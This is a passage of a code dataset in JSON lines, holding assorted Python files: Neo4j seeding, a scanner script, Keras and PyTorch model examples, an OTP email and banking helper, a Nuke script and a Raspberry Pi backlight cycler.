p1, p2 WHERE rand() < 0.1 AND p1<>p2 MERGE (p1)-[:FRIENDS]->(p2) RETURN DISTINCT p1, p2\"\n results, meta = db.cypher_query(query)\n\ndef rated_relation():\n\tfor i in range(1,15):\n\t\trand_val= random.uniform(1,5)\n\t\trand_val = round(rand_val,1)\n\t\tuser,umeta = db.cypher_query(\"MATCH (p:User) return p.uid order by rand() limit 1\")\n\t\trest,rmeta = db.cypher_query(\"MATCH (r:Restaurant) return r.rid order by rand() limit 1\")\n\t\tuser_id = user[0][0]\n\t\tres_id = rest[0][0]\n\t\tparams = {\n\t\t\t'user' : user_id,\n\t\t\t'rand_key' : rand_val,\n\t\t\t'restaurant' : res_id\n\t\t}\n\t\tquery = \"MATCH (u:User{uid : $user}),(r:Restaurant{rid:$restaurant}) WITH u,r MERGE (u)-[ra:RATED]-(r) ON CREATE SET ra.rating = $rand_key return ra ORDER BY rand() LIMIT 1\"\n\t\tresults, meta = db.cypher_query(query,params)\n\ndef likes_relation():\n\tfor i in range(1,30):\n\t\tuser,umeta = db.cypher_query(\"MATCH (p:User) return p.uid order by rand() limit 1\")\n\t\tcuisine,rmeta = db.cypher_query(\"MATCH (c:Cuisine) return c.cid order by rand() limit 1\")\n\t\tuser_id = user[0][0]\n\t\tc_id = cuisine[0][0]\n\t\tparams = {\n\t\t\t'user':user_id,\n\t\t\t'cuisine':c_id,\n\t\t\t}\n\t\tquery = \"MATCH (u:User{uid : $user}),(c:Cuisine{cid:$cuisine}) WITH u,c MERGE (u)-[l:LIKES]-(c) return l order by rand() LIMIT 1\"\n\t\tresults, meta = db.cypher_query(query,params)\n\ndef with_relation():\n\tquery = \"\"\" MATCH (r:Restaurant) return r.rid \"\"\"\n\tres,meta = db.cypher_query(query)\n\tfor i in range (0,len(res)):\n\t\tn = Restaurant.nodes.get(rid = res[i][0])\n\t\ttry:\n\t\t\tavg_cost = Price.nodes.get(cost = n.avg_cost)\n\t\texcept Price.DoesNotExist:\n\t\t\tavg_cost = Price(cost = n.avg_cost).save()\n\t\tn.WITH.connect(avg_cost)\n\t\t\n\t\t\n\t\nwith_relation()\n#likes_relation()","sub_path":"RecApp/relations.py","file_name":"relations.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"503550445","text":"## This dynscan.py script is meant to be called like so:\n##\tdynscan.py dpi_number jpg_filename tiff_filename description\n## Including a description is not strictly required.\n## The use of file names is obsolete as of Tuesday, 26 Jan. 2016 when Brandon\n## reverted scan_start() in scan.c to take only one parameter again.\n\nimport dspace\nimport time\nimport sys\n\ndone = 0\n\nnum_args = len(sys.argv)\nargs = sys.argv\n\nscan_array_pos = 1 # default to one -> the preview scan setting\nif num_args>1:\n\tdpi_number=int(args[1])\nelse:\n\tdpi_number=0\nif num_args>2:\n\tjpg_filename= \"/var/www/scans/\" + args[2]\nelse:\n\tjpg_filename=\"/tmp/temp_scan.jpg\"\nif num_args>3:\n\ttiff_filename=args[3]\nelse:\n\ttiff_filename=\"/tmp/temp_scan.tiff\"\n\n## Set the description of the scan; no changes yet made to dspace.scan_description\n#if num_args<4:\n#\tprint( \"Error, insufficient arguments\" )\nif num_args<=4:\n\tdspace.scan_description(\"test description\");\nelse:\n\tdspace.scan_description(args[4])\n\n## Set the position in the SCAN_TYPE array defined in scan.c that dspace.scan_start will use\n#if (dpi_number==75 and description==\"placement check\"):\n#\tscan_array_pos=0\nif dpi_number==75:\n\tscan_array_pos=1\nelif dpi_number==100:\n\tscan_array_pos=2\nelif dpi_number==150:\n\tscan_array_pos=3\nelif dpi_number==200:\n\tscan_array_pos=4\nelif dpi_number==300:\n\tscan_array_pos=5\nelif dpi_number==600:\n\tscan_array_pos=6\nelif dpi_number==1200:\n\tscan_array_pos=7\nelif dpi_number==2400:\n\tscan_array_pos=8\nelif dpi_number==4800:\n\tscan_array_pos=9\n\nprint (\"Scan array position: \", scan_array_pos)\nprint (\"\\nDPI_number: \", dpi_number)\n\n## Do the actual referencing of the C functions\nwhile done==0:\n\tdspace.scan_start(scan_array_pos, jpg_filename);\n\twhile dspace.scan_done()==0:\n\t\ttime.sleep(1)\n\tprint (\"scan done\")\n\tdone=1\n\n","sub_path":"DocumentRoot/cgi-bin/scanning/dynscan.py","file_name":"dynscan.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"17436339","text":"#! /usr/bin/python\nimport sys\nimport os\n\nhome = os.getenv(\"HOME\")\npath = home + \"/projects/\"\n\nif not \"projects\" in os.listdir(home) :\n os.mkdir(path)\n\nif len(sys.argv) == 1 :\n note_name = 'note'\nelif len(sys.argv) == 2:\n note_name = sys.argv[1]\nelif len(sys.argv) == 3 :\n note_name = sys.argv[2]\n path+= sys.argv[1] + \"/\"\n\nif note_name in os.listdir(path) and os.path.isdir(path + note_name):\n os.system('vim ' + path + note_name + \"/\" + \"note\")\nelse :\n os.system('vim ' + path + note_name)\n","sub_path":"note.py","file_name":"note.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"620280430","text":"# All constant variables are declared here\nimport os\n\n#Project root dir\nROOT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) \n\n#Data source\nDATA_SOURCE = os.path.join(ROOT_DIR, 'resources/poker.txt')\n\n#List of available suits\nsuits = 'H S C D'\nsuit = suits.split()\n\n#List of available faces\nfaces = '2 3 4 5 6 7 8 9 T J Q K A'\nface = faces.split()","sub_path":"pokerapp/common/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"48135350","text":"import sys\nimport keras\nimport tensorflow as tf\nfrom keras import backend\nfrom keras import backend as K\nfrom keras.models import Sequential\nfrom keras.layers import Input, Conv3D, MaxPooling3D, Conv3DTranspose, BatchNormalization, GlobalAvgPool3D, GlobalMaxPooling3D\nfrom keras.layers import concatenate, Reshape, Activation, Permute, Softmax, Lambda, Dense, Flatten, Dropout\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.backend.tensorflow_backend import set_session\n\nsys.path.append('/home/toosyou/projects/keras-retinanet')\nfrom keras_retinanet import initializers\n\ndef focal_loss(gamma=2, alpha=0.75):\n def focal_loss_fixed(y_true, y_pred):#with tensorflow\n eps = 1e-12\n y_pred=K.clip(y_pred,eps,1.-eps)#improve the stability of the focal loss and see issues 1 for more information\n pt_1 = tf.where(tf.equal(y_true, 1), y_pred, tf.ones_like(y_pred))\n # pt_0 = tf.where(tf.equal(y_true, 0), y_pred, tf.zeros_like(y_pred))\n return -K.sum(alpha * K.pow(1. - pt_1, gamma) * K.log(pt_1))# -K.sum((1-alpha) * K.pow( pt_0, gamma) * K.log(1. - pt_0))\n return focal_loss_fixed\n\ndef get_unet_model(number_filter_base = 16):\n def downsample_block(input, concated, filters):\n net = Conv3D(filters, 3, activation='relu', padding='same')(input)\n net = Conv3D(filters, 3, activation='relu', padding='same')(net)\n net = BatchNormalization()(net)\n net = MaxPooling3D(2, padding='same')(net)\n if concated is not None:\n net = concatenate([net, concated])\n return net\n\n def upsample_block(input, concated, filters):\n net = concatenate([Conv3DTranspose(filters, 3, strides=2, padding='same')(input), concated])\n net = Conv3D(filters, 3, activation='relu', padding='same')(net)\n net = Conv3D(filters, 3, activation='relu', padding='same')(net)\n net = BatchNormalization()(net)\n return net\n\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n set_session(tf.Session(config=config))\n\n # building unet-like model\n downsample_outputs = [0] * 4\n upsample_outputs = [0] * 4\n inputs = Input((64, 64, 16, 1))\n net = inputs\n for i in range(4):\n net = downsample_block(net, None, number_filter_base*(2**i))\n downsample_outputs[i] = net\n\n upsample_outputs[0] = net\n for i in range(3):\n net = upsample_block(net, downsample_outputs[2-i], number_filter_base*(2**(2-i)))\n upsample_outputs[i+1] = net\n\n for i in range(3):\n net = downsample_block(net, upsample_outputs[2-i], number_filter_base*(2**(i+1)))\n\n net = Conv3D(number_filter_base*8, 3, activation='relu', padding='same')(net)\n net = BatchNormalization()(net)\n net = Conv3D(number_filter_base*8, 3, activation='relu', padding='same')(net)\n # net = GlobalMaxPooling3D()(net)\n net = GlobalAvgPool3D()(net)\n net = BatchNormalization()(net)\n net = Dense(2, activation='softmax')(net)\n\n model = Model(inputs=inputs, outputs=net)\n training_model = keras.utils.multi_gpu_model(model, gpus=2)\n training_model.compile(optimizer=Adam(amsgrad=True), loss=focal_loss(alpha=0.9, gamma=2.), metrics=['accuracy'])\n return model, training_model\n\ndef get_model():\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n set_session(tf.Session(config=config))\n\n number_filter_base = 32\n model = Sequential([\n Conv3D(number_filter_base, 3, padding='same', activation='relu', input_shape=(64, 64, 16, 1)),\n BatchNormalization(),\n Conv3D(number_filter_base, 3, padding='same', activation='relu'),\n BatchNormalization(),\n MaxPooling3D(2, padding='same'), # 32, 32, 8, ?\n\n Conv3D(number_filter_base*2, 3, padding='same', activation='relu'),\n BatchNormalization(),\n Conv3D(number_filter_base*2, 3, padding='same', activation='relu'),\n BatchNormalization(),\n MaxPooling3D(2, padding='same'), # 16, 16, 4, ?\n\n Conv3D(number_filter_base*4, 3, padding='same', activation='relu'),\n BatchNormalization(),\n # Conv3D(number_filter_base*4, 3, padding='same', activation='relu'),\n # BatchNormalization(),\n MaxPooling3D(2, padding='same'), # 8, 8, 2, ?\n\n Conv3D(number_filter_base*8, 3, padding='same', activation='relu'),\n BatchNormalization(),\n Conv3D(number_filter_base*8, 3, padding='same', activation='relu'),\n BatchNormalization(),\n MaxPooling3D(2, padding='same'), # 4, 4, 1, ?\n\n # Conv3D(number_filter_base*16, 3, padding='same', activation='relu'),\n # BatchNormalization(),\n # Conv3D(number_filter_base*16, 3, padding='same', activation='relu'),\n # BatchNormalization(),\n # MaxPooling3D((2, 2, 1), padding='same'), # 2, 2, 1, ?\n\n # GlobalMaxPooling3D(), # number_filter_base*16\n GlobalAvgPool3D(),\n # Flatten(),\n # Dense(512, activation='relu'),\n # Dropout(rate=0.2),\n # BatchNormalization(),\n # Dense(256, activation='relu'),\n # Dropout(rate=0.2),\n # BatchNormalization(),\n # Dense(128, activation='relu'),\n # Dropout(rate=0.2),\n BatchNormalization(),\n Dense(2, activation='softmax')\n ])\n training_model = keras.utils.multi_gpu_model(model, gpus=2)\n training_model.compile(optimizer=Adam(amsgrad=True), loss='binary_crossentropy', metrics=['accuracy'])\n return model, training_model\n\nif __name__ == '__main__':\n model, training_model = get_unet_model()\n model.summary()\n","sub_path":"experiments/fp_reduction/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"556523565","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n def reorderList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: void Do not return anything, modify head in-place instead.\n \"\"\"\n if head is None:\n return\n \n node_list = []\n order_list = []\n pointer = head\n while pointer is not None:\n node_list.append(pointer)\n pointer = pointer.next\n \n while len(node_list) != 0:\n if len(node_list) >= 2:\n order_list.append(node_list.pop(0))\n order_list.append(node_list.pop(-1))\n else:\n order_list.append(node_list.pop())\n for i in range(len(order_list) - 1) :\n order_list[i].next = order_list[i + 1]\n order_list[-1].next = None\n return \n \ninstance = Solution()\none = ListNode(1)\ntwo = ListNode(2)\nthree = ListNode(3)\nfour = ListNode(4)\none.next = two\ntwo.next = three\nthree.next = four\npointer = one\nwhile pointer is not None:\n print(pointer.val , end='')\n pointer = pointer.next\ninstance.reorderList(one)\npointer = one\nwhile pointer is not None:\n print(pointer.val , end='')\n pointer = pointer.next\n","sub_path":"src/ReorderList.py","file_name":"ReorderList.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"444371537","text":"import smtplib\nfrom login_pswd import strFrom, pswd\n\nimport hashlib\nimport base64\nimport pyotp\nimport time\nimport re\nfrom email_content import content\n\nimport datetime\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text \t import MIMEText\n\nfrom sqlalchemy import create_engine\n\n\ndef generate_hash(email):\n return base64.b32encode(hashlib.sha1(str.encode(email+\"seckey\")).digest())\n\n\ndef generate_key(h):\n return pyotp.TOTP(h, interval = 1000)\n\n\ne = create_engine('sqlite:///banking.db')\n\ndef get_mail(num_compte):\n conn = e.connect()\n query = conn.execute(\"SELECT email from users where id = (SELECT user_id from accounts where numCompte = ?)\",num_compte)\n result = query.cursor.fetchone()\n if result is None:\n return None\n else:\n return result[0]\n\n\ndef send_mail(strTo, otp):\n msgRoot = MIMEMultipart('related')\n msgRoot['Subject'] = \"Clé de vérification\"\n msgRoot['From'] = strFrom\n msgRoot['To'] = strTo\n msgText = MIMEText(content.format(otp),'html')\n msgRoot.attach(msgText)\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.starttls()\n server.login(strFrom, pswd)\n server.ehlo()\n server.sendmail(strFrom, strTo, msgRoot.as_string())\n server.quit()\n\n\ndef verify_token(email, token):\n verified = generate_key(generate_hash(email)).verify(token)\n return verified\n\n\ndef get_solde(num_compte):\n conn = e.connect()\n query = conn.execute(\"SELECT solde from accounts WHERE numCompte = ?\",num_compte)\n return str(query.cursor.fetchone()[0])\n\ndef get_hidden_mail(email):\n hidden_mail = re.sub(\"(?!^).(?=[^@]+@)\",'*',email)\n return hidden_mail\n\n\ndef get_depenses(num_compte, period=\"\"):\n conn = e.connect()\n if period == \"\":\n query = conn.execute(\"SELECT SUM(ammount) from spendings WHERE numCompte = ? AND spent_date BETWEEN date('now', 'start of month') AND date('now')\", num_compte)\n result = query.cursor.fetchone()\n if result[0] is None:\n return 0\n else:\n return result[0]\n else:\n query = conn.execute(\"SELECT SUM(ammount) from spendings WHERE numCompte = ? AND spent_date BETWEEN ? AND date('now')\",(num_compte,period[:10]))\n result = query.cursor.fetchone()\n if result[0] is None:\n return 0\n else:\n return result[0]\n\ndef current_month():\n t = datetime.datetime.today()\n return t.strftime('%Y-%m-01')\n\ndef get_depenses_details(num_compte):\n conn = e.connect()\n query = conn.execute(\"SELECT ammount, spend_on, spent_date FROM spendings WHERE numCompte = ? ORDER BY spent_date DESC limit 3\",num_compte)\n result = query.cursor.fetchall()\n return result\n\ndef remove_accent(word):\n word = word.replace('é','e')\n word = word.replace('è','e')\n return word\n\n\ndef update_chequier(num_compte):\n conn = e.connect()\n \n\ndef verify_request_chequier(num_compte):\n conn = e.connect()\n query = conn.execute(\"SELECT chequier from accounts WHERE numCompte = ?\", num_compte)\n result = query.cursor.fetchone()\n if result[0] == 1:\n return \"Vous avez déjà demandé un chéquier pour ce compte.\\nVotre demande est en cours de traitement\"\n else:\n conn.execute(\"UPDATE accounts SET chequier = 1 WHERE numCompte = ?\", num_compte)\n return \"Votre demande de chèquier est bien enregistrée !\"\n\n \ndef insert_reclamation(reclamation_text):\n conn = e.connect()\n query = conn.execute(\"INSERT INTO reclamations (content) VALUES (?)\",reclamation_text)\n return query.lastrowid\n\ndef get_last_inserted_id_reclamation():\n conn = e.connect()\n query = conn.execute(\"select id from reclamations where id = (select MAX(id) from reclamations)\")\n return query.cursor.fetchone()[0]\n\ndef delete_last_inserted_reclamation():\n conn = e.connect()\n conn.execute('DELETE from reclamations where id = (select MAX(id) from reclamations)')","sub_path":"otp.py","file_name":"otp.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"533080428","text":"from app import app, db\nfrom app.models import Categoria, User, Post\nfrom data import categorias, users, posts\n\n\nfor categoria in categorias:\n c = Categoria()\n c.id = categoria['id']\n c.name = categoria['name']\n c.slug = categoria['slug']\n c.css_class = categoria['css_class']\n db.session.add(c)\ndb.session.commit()\n\nfor user in users:\n u = User()\n u.id = user['id']\n u.username = user['username']\n u.email = user['email']\n u.social_id = user['social_id']\n u.bio = user['bio']\n u.pic = user['pic']\n db.session.add(u)\ndb.session.commit()\n\nfor post in posts:\n p = Post()\n p.id = post['id']\n p.title = post['title']\n p.body = post['body']\n p.user_id = post['user_id']\n p.categoria_id = post['categoria_id']\n p.publish_date = post['publish_date']\n p.pic = post['pic']\n p.abstract = post['abstract']\n p.featured = post['featured']\n p.start_page = post['start_page']\n db.session.add(p)\ndb.session.commit()\n","sub_path":"filldatabase.py","file_name":"filldatabase.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"238707821","text":"'''\n计算图( Computational graphs )和 autograd 是一个非常强大的定义复杂的运算符并自动地导出的范式;\n然而对于 大型的神经网络, 原始的 autograd 仍然显得有点太低级.\n\n当我们创建神经网络时, 我们经常思考如何设计安排 ** layer ** , 以及一些在训练过程中网络会学习到的 ** learnable parameters **\n\n在TensorFlow中, 像 Keras, TensorFlow-Slim, 和 TFLearn 通过构建对神经网络有用的原始计算图提供更高层次的抽象.\n\n在 PyTorch 中, nn 包起了同样的作用. nn 包定义了一组 ** Modules ** , 大致相当于神经网络层.\n模块接收输入变量并进行计算输出变量, 但也可以保持内部状态, 如 用 Variable 包装的 learnable parameters .\nnn 包 也定义了一系列在训练神经网络时比较常用的损失函数.\n'''\n\nimport torch\nfrom torch.autograd import Variable\n# N 批量大小; D_in是输入尺寸;\n# H是隐藏尺寸; D_out是输出尺寸.\nN, D_in, H, D_out = 64, 1000, 100, 10\n\n# 创建随机张量来保存输入和输出,并将它们包装在变量中.\nx = Variable(torch.randn(N, D_in))\ny = Variable(torch.randn(N, D_out), requires_grad=False)\n\n# 使用nn包将我们的模型定义为一系列图层.\n# nn.Sequential是一个包含其他模块的模块,并将它们按顺序应用以产生其输出.\n# 每个线性模块使用线性函数计算来自输入的输出,并保存内部变量的权重和偏差.\nmodel = torch.nn.Sequential(\n torch.nn.Linear(D_in, H),\n torch.nn.ReLU(),\n torch.nn.Linear(H, D_out)\n)\n# nn包还包含流行损失函数的定义;\n# 在这种情况下,我们将使用均方差(MSE)作为我们的损失函数.\nloss_fn = torch.nn.MSELoss(size_average=False)\n\nlearning_rate = 1e-4\nfor t in range(500):\n # 正向传递:通过将x传递给模型来计算预测的y.\n # 模块对象会覆盖__call__运算符,因此您可以将它们称为函数.\n # 这样做时,您将输入数据的变量传递给模块,并生成输出数据的变量.\n y_pred = model(x)\n # 计算和打印损失.\n # 我们传递包含y的预测值和真值的变量,并且损失函数返回包含损失的变量.\n loss = loss_fn(y_pred, y)\n print(t, loss.data[0])\n # 在运行反向传递之前将梯度归零.\n model.zero_grad()\n\n # 向后传递:计算相对于模型的所有可学习参数的损失梯度.\n # 在内部,每个模块的参数都存储在变量require_grad = True中,\n # 因此该调用将计算模型中所有可学习参数的梯度.\n loss.backward()\n\n # 使用梯度下降更新权重.\n # 每个参数都是一个变量,所以我们可以像我们以前那样访问它的数据和梯度.\n for para in model.parameters():\n para.data -= learning_rate * para.grad.data\n\n\n'''\nPyTorch: optim\n\n到目前为止, 我们一直通过手动更新的方法更新模型的可学习参数( learnable parameters )的权重 .data \n这对于简单的优化算法像随机梯度下降来还算轻松, 但是在实际中我们经常使用更巧妙的 优化器来训练神经网络, 如 AdaGrad, RMSProp, Adam 等.\n\nPyTorch 中的 optim 包包含了一些优化器的算法, 并提供了一些常用优化器的使用.\n'''\nimport torch\nfrom torch.autograd import Variable\n\n# N 批量大小; D_in是输入尺寸;\n# H是隐藏尺寸; D_out是输出尺寸.\nN, D_in, H, D_out = 64, 1000, 100, 10\n\n# 创建随机张量来保存输入和输出,并将它们包装在变量中.\nx = Variable(torch.randn(N, D_in))\ny = Variable(torch.randn(N, D_out), requires_grad=False)\n\n# 使用nn包来定义我们的模型和损失函数.\nmodel = torch.nn.Sequential(\n torch.nn.Linear(D_in, H),\n torch.nn.ReLU(),\n torch.nn.Linear(H, D_out),\n)\nloss_fn = torch.nn.MSELoss(size_average=False)\n\n# 使用优化包来定义一个优化器,它将为我们更新模型的权重.\n# 在这里,我们将使用 Adam;这个 optim 包包含许多其他优化算法.\n# Adam构造函数的第一个参数告诉优化器应该更新哪个Variables.\nlearning_rate = 1e-4\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\nfor t in range(500):\n # 正向传递:通过将x传递给模型来计算预测的y.\n y_pred = model(x)\n\n # 计算和打印损失函数.\n loss = loss_fn(y_pred, y)\n print(t, loss.data[0])\n\n # 在向后传递之前,使用优化器对象为其要更新的变量(这是模型的可学习权重)的所有梯度归零.\n # 这是因为默认情况下,只要调用.backward(),梯度就会在缓冲区中累积(即不会被覆盖).\n # 查看torch.autograd.backward的文档以获取更多详细信息.\n optimizer.zero_grad()\n\n # 向后传递:计算损失函数相对于模型参数的梯度\n loss.backward()\n\n # 在优化器上调用step函数会更新其参数\n optimizer.step()\n\n\n'''\nPyTorch: Custom nn Modules\n有时你会想要使用比现有模块组合更复杂的特殊模型;对于这些情况, 你可以 通过继承 nn.Module 来定义你自己的模块, \n并定义一个 forward 来实现模块接收输入 Variable 并使用其他模块输出的 Variable 和 其他 autograd 操作.\n'''\nimport torch\nfrom torch.autograd import Variable\n\nclass TwoLayerNet(torch.nn.Module):\n def __init__(self, D_in, H, D_out):\n \"\"\"\n 在构造函数中,我们实例化两个nn.Linear模块并将它们分配为成员变量.\n \"\"\"\n super(TwoLayerNet, self).__init__()\n self.linear1 = torch.nn.Linear(D_in, H)\n self.linear2 = torch.nn.Linear(H, D_out)\n\n def forward(self, x):\n \"\"\"\n 在forward函数中,我们接受一个变量的输入数据,我们必须返回一个变量的输出数据.\n 我们可以使用构造函数中定义的模块以及变量上的任意运算符.\n \"\"\"\n h_relu = self.linear1(x).clamp(min=0)\n y_pred = self.linear2(h_relu)\n return y_pred\n\n\n# N 批量大小; D_in是输入尺寸;\n# H是隐藏尺寸; D_out是输出尺寸.\nN, D_in, H, D_out = 64, 1000, 100, 10\n\n# 创建随机张量来保存输入和输出,并将它们包装在变量中.\nx = Variable(torch.randn(N, D_in))\ny = Variable(torch.randn(N, D_out), requires_grad=False)\n\n# 通过实例化上面定义的类来构建我们的模型\nmodel = TwoLayerNet(D_in, H, D_out)\n\n# 构建我们的损失函数和优化器.\n# 对SGD构造函数中的model.parameters()的调用将包含作为模型成员的两个nn.Linear模块的可学习参数.\ncriterion = torch.nn.MSELoss(size_average=False)\noptimizer = torch.optim.SGD(model.parameters(), lr=1e-4)\nfor t in range(500):\n # 正向传递:通过将x传递给模型来计算预测的y\n y_pred = model(x)\n\n # 计算和打印损失\n loss = criterion(y_pred, y)\n print(t, loss.data[0])\n\n # 梯度置零, 执行反向传递并更新权重.\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n\n'''\nPyTorch: Control Flow + Weight Sharing\n作为一个动态图和权值共享的例子, 我们实现一个奇葩的模型: 随机1-4次重复搭建同个正向传播的全连接 的 ReLU 网络, \n并且多个隐藏层使用相同的权重来计算最内层隐藏层(译者注: 这里的相同权重,是指随机1-4次重复搭建的这个middle_linear).\n\n对于这个模型, 我们可以使用普通的 Python 流程控制语句来实现循环, \n而且我们可以在定义前向传播时通过简单地重复使用相同的模块实现 middle_linear 层的权重共享.\n'''\nimport random\nimport torch\nfrom torch.autograd import Variable\n\n\nclass DynamicNet(torch.nn.Module):\n def __init__(self, D_in, H, D_out):\n \"\"\"\n 在构造函数中,我们构造了三个nn.Linear实例,我们将在正向传递中使用它们.\n \"\"\"\n super(DynamicNet, self).__init__()\n self.input_linear = torch.nn.Linear(D_in, H)\n self.middle_linear = torch.nn.Linear(H, H)\n self.output_linear = torch.nn.Linear(H, D_out)\n\n def forward(self, x):\n \"\"\"\n 对于模型的正向通道,我们随机选择0,1,2或3,\n 并重复使用多次计算隐藏层表示的middle_linear模块.\n\n 由于每个正向通道都会生成一个动态计算图,因此在定义模型的正向通道时,\n 我们可以使用普通的Python控制流操作符(如循环或条件语句).\n\n 在这里我们也看到,定义计算图时多次重复使用相同模块是完全安全的.\n 这是Lua Torch的一大改进,每个模块只能使用一次.\n \"\"\"\n h_relu = self.input_linear(x).clamp(min=0)\n for _ in range(random.randint(0, 3)):\n h_relu = self.middle_linear(h_relu).clamp(min=0)\n y_pred = self.output_linear(h_relu)\n return y_pred\n\n\n# N 批量大小; D_in是输入尺寸;\n# H是隐藏尺寸; D_out是输出尺寸.\nN, D_in, H, D_out = 64, 1000, 100, 10\n\n# 创建随机张量来保存输入和输出,并将它们包装在变量中.\nx = Variable(torch.randn(N, D_in))\ny = Variable(torch.randn(N, D_out), requires_grad=False)\n\n# 通过实例化上面定义的类来构建我们的模型\nmodel = DynamicNet(D_in, H, D_out)\n\n# 构建我们的损失函数和优化器.\n# 用随机梯度下降训练这个奇怪的模型非常困难,所以我们使用动量\ncriterion = torch.nn.MSELoss(size_average=False)\noptimizer = torch.optim.SGD(model.parameters(), lr=1e-4, momentum=0.9)\nfor t in range(500):\n # 正向传递:通过将x传递给模型来计算预测的y\n y_pred = model(x)\n\n # 计算和打印损失\n loss = criterion(y_pred, y)\n print(t, loss.data[0])\n\n # 零梯度执行反向传递并更新权重.\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()","sub_path":"Pytorch/Pytorch_Framework_Insights/nn_Module_Example.py","file_name":"nn_Module_Example.py","file_ext":"py","file_size_in_byte":9679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"273234460","text":"# Copyright 2014, Rackspace US, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# (c) 2014, Kevin Carter \n# (c) 2015, Major Hayden \n#\n\n\ndef recursive_list_removal(inventory, purge_list):\n \"\"\"Remove items from a list.\n\n Keyword arguments:\n inventory -- inventory dictionary\n purge_list -- list of items to remove\n \"\"\"\n for item in purge_list:\n for _item in inventory:\n if item == _item:\n inventory.pop(inventory.index(item))\n\n\ndef recursive_dict_removal(inventory, purge_list):\n \"\"\"Remove items from a dictionary.\n\n Keyword arguments:\n inventory -- inventory dictionary\n purge_list -- list of items to remove\n \"\"\"\n for key, value in inventory.iteritems():\n if isinstance(value, dict):\n for _key, _value in value.iteritems():\n if isinstance(_value, dict):\n for item in purge_list:\n if item in _value:\n del(_value[item])\n elif isinstance(_value, list):\n recursive_list_removal(_value, purge_list)\n elif isinstance(value, list):\n recursive_list_removal(value, purge_list)\n","sub_path":"lib/dictutils.py","file_name":"dictutils.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"337510133","text":"import posixpath\nFRAME = 24\nPREFIX = \"b\"\nDIR = \"/home//Documents/SCRIPTS//precomp\"\nSTEP = 100\ni = 0 \nfor node in nuke.selectedNodes():\n next_node = node.dependent()\n frame = nuke.nodes.FrameHold(inputs = [node], first_frame = FRAME)\n #frame.setXpos( frame.xpos() + STEP )\n write = nuke.nodes.Write( inputs = [frame], file=\"%s\" % posixpath.join(DIR, PREFIX, PREFIX+\"_\"+str(i)+\".exr\"), file_type = 3, autocrop = True, channels = \"all\" )\n #write.setXpos( write.xpos() + STEP )\n read = nuke.nodes.Read(file=\"%s\" % posixpath.join(DIR, PREFIX, PREFIX+\"_\"+str(i)+\".exr\"), postage_stamp = False, disable = True)\n #read.setXpos( read.xpos() - STEP )\n #read.setYpos( read.ypos() - STEP )\n cur_next_node = nuke.toNode(next_node[0]['name'].value())\n cur_next_node.setInput(0, read)\n i += 1\n","sub_path":"write_stills.py","file_name":"write_stills.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"10158274","text":"#!/usr/bin/python3\n#James Parks\n\n# The Adafruit 2.8\" TFT display (https://www.adafruit.com/product/2298) comes with buttons\n# This assigns one of the buttons to cycle through backlight intensity settings\n\nimport RPi.GPIO as gpio\nimport time\n\nclass Cycler(object):\n def __init__(self):\n # set up variables\n self.switch_pin = 22\n self.out_pin = 18\n self.states_list = [1023, 768, 512, 128, 10, 0]\n self.duty_cycle_list = [100, 75, 50, 25, 10, 0]\n self.cur_state = 0\n self.VERBOSITY = 6 \n\n freq = 500\n \n # set up pins\n gpio.setmode(gpio.BCM)\n gpio.setup(self.switch_pin, gpio.IN, pull_up_down=gpio.PUD_UP)\n gpio.setup(self.out_pin, gpio.OUT)\n self.p = gpio.PWM(self.out_pin, freq)\n self.p.start(100)\n\n #cmd = 'gpio -g mode {} pwm; gpio pwmc 1000'.format(self.SWITCH_PIN)\n #status, output = commands.getstatusoutput(cmd)\n\n def _log(self, priority, msg):\n if priority >= self.VERBOSITY:\n print(msg)\n\n def run(self):\n button_press = gpio.input(self.switch_pin)\n if not button_press:\n self._log(1, 'button pressed')\n if self.cur_state >= len(self.states_list)-1:\n self.cur_state = 0\n else:\n self.cur_state += 1\n self.set_state(self.cur_state)\n\n def set_state(self, value):\n #gpio.output(self.out_pin, value)\n 